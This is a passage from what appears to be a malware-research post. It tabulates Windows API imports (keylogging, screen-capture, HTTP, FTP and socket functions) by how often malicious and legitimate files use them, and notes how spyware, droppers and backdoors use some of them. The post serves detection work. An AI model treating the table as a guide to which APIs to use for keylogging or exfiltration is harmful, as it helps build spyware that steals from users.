keylogging. user32.dll getdc 9.64% 27.97% 0.039624 These functions return a handle to a device context for a window or the whole screen. Spyware that takes screen captures often uses this function. user32.dll getdcex 0.52% 6.75% 0.022144 user32.dll getforegroundwindow 4.88% 12.74% 0.01377 This function returns a handle to the window currently in the foreground of the desktop. Keyloggers commonly use this function to determine in which window the user is entering his keystrokes. user32.dll getkeystate 4.96% 11.25% 0.009483 Used for keylogging. winhttp.dll winhttpconnect 0.69% 2.13% 0.002694 Used by droppers to download the next payload stage or by malware for command and control of the implant. winhttp.dll winhttpopen 0.75% 2.70% 0.004073 winhttp.dll winhttpreceiveresponse 0.64% 2.08% 0.002796 winhttp.dll winhttpconnect 0.69% 2.13% 0.002694 winhttp.dll winhttpsendrequest 0.69% 2.11% 0.002614 winhttp.dll winhttpopenrequest 0.69% 2.10% 0.002614 winhttp.dll winhttpclosehandle 0.75% 2.13% 0.002431 winhttp.dll winhttpquerydataavailable 0.44% 1.38% 0.001751 winhttp.dll winhttpqueryheaders 0.55% 1.39% 0.001322 winhttp.dll winhttpreaddata 0.62% 1.48% 0.001288 wininet.dll internetconnectw 0.60% 3.80% 0.009101 wininet.dll internetconnecta 0.35% 2.66% 0.006918 wininet.dll internetfindnextfilea 0.00% 0.06% 0.000215 wininet.dll internetfindnextfilew 0.00% 0.01% 6.08E-06 wininet.dll internetconnecta 0.30% 2.64% 0.007311 wininet.dll internetopenw 0.70% 5.36% 0.014196 wininet.dll internetopena 0.43% 4.48% 0.013563 wininet.dll internetreadfile 0.94% 5.66% 0.013173 wininet.dll internetconnectw 0.60% 3.80% 0.009101 wininet.dll httpsendrequestw 0.55% 3.66% 0.008989 wininet.dll httpopenrequestw 0.63% 3.76% 0.008605 wininet.dll internetopenurla 0.08% 2.00% 0.007437 wininet.dll internetconnecta 0.35% 2.66% 0.006918 wininet.dll httpqueryinfoa 0.51% 2.99% 0.006732 wininet.dll httpopenrequesta 0.36% 2.58% 0.006543 wininet.dll httpsendrequesta 0.34% 2.46% 0.006268 wininet.dll internetcrackurlw 0.52% 2.77% 0.005901 wininet.dll internetopenurlw 0.30% 1.76% 0.00398 wininet.dll internetquerydataavailable 0.40% 1.89% 0.003657 wininet.dll internetclosehandle 1.12% 8.60% 0.023291 wininet.dll ftpfindfirstfilea 0.00% 0.12% 0.000471 Can by used by malware for command and control, discovery, or exfiltration via FTP. wininet.dll ftpopenfilew 0.03% 0.72% 0.002649 wininet.dll ftpputfilea 0.01% 0.30% 0.001239 wininet.dll ftpgetfilesize 0.14% 0.61% 0.001099 wininet.dll ftpopenfilea 0.01% 0.22% 0.000766 wininet.dll ftpfindfirstfilea 0.00% 0.12% 0.000471 wininet.dll ftpcreatedirectorya 0.00% 0.10% 0.000344 wininet.dll ftpdeletefilea 0.00% 0.09% 0.000336 wininet.dll ftpgetfilea 0.00% 0.08% 0.00029 wininet.dll ftpputfilew 0.01% 0.09% 0.000286 wininet.dll ftpgetcurrentdirectorya 0.01% 0.07% 0.000207 wininet.dll ftpcreatedirectoryw 0.00% 0.04% 0.000134 wininet.dll ftpsetcurrentdirectorya 0.01% 0.05% 0.000124 wininet.dll ftpsetcurrentdirectoryw 0.01% 0.04% 9.5E-05 wininet.dll ftpcommandw 0.00% 0.02% 9.28E-05 wininet.dll ftpremovedirectorya 0.00% 0.03% 8.41E-05 wininet.dll ftprenamefilea 0.00% 0.02% 6.05E-05 wininet.dll ftpgetfilew 0.00% 0.02% 5.39E-05 wininet.dll ftpgetcurrentdirectoryw 0.00% 0.02% 3.58E-05 wininet.dll ftpcommanda 0.01% 0.02% 2.55E-05 wininet.dll internetcrackurla 0.38% 1.77% 0.00334 Cracks a URL into its component parts. ws2_32.dll gethostbyname 0.05% 0.14% 0.000154 These functions are used to perform a DNS lookup on a particular hostname prior to making an IP connection to a remote host. This may be employed by malware to resolve an IP address of a command and control server. ws2_32.dll wsaasyncgethostbyname 0.00% 0.03% 0.000121 wsock32.dll gethostbyname 0.01% 0.70% 0.002994 wsock32.dll wsaasyncgethostbyname 0.00% 0.30% 0.001358 wsock32.dll gethostname 0.01% 0.55% 0.002383 ws2_32.dll gethostname 0.06% 0.15% 0.000155 This function is used to retrieve the hostname of the computer the software is running on. Backdoors sometimes use gethostname in information gathering phase of the victim machine. ws2_32.dll inet_addr 0.03% 0.09% 0.00011 Converts a IP address string into a binary format for use with other API calls. wsock32.dll inet_addr 0.01% 0.81% 0.003493 wsock32.dll accept 0.01% 0.32% 0.001295 These functions are used to create raw socket connections. The accept function indicates that the program will listen for incoming connections on a socket. These functions can be used by malware to communicate with their Command and Communication server. wsock32.dll bind 0.01% 0.37% 0.001503 wsock32.dll connect 0.01% 0.72% 0.003062

Downloads

I’ve included the results of my statistical analysis as excel documents to help aid in any analysis you may need to conduct.

DLL Name Histogram

A frequency chart of DLL dependencies broken down by malicious vs legitimate files. This will give you an idea of how often malware will statically reference a particular DLL name.

Import Name Histogram

A frequency chart of import function names broken down by malicious vs legitimate files. This will give you an idea of how often malware will statically reference a particular function name.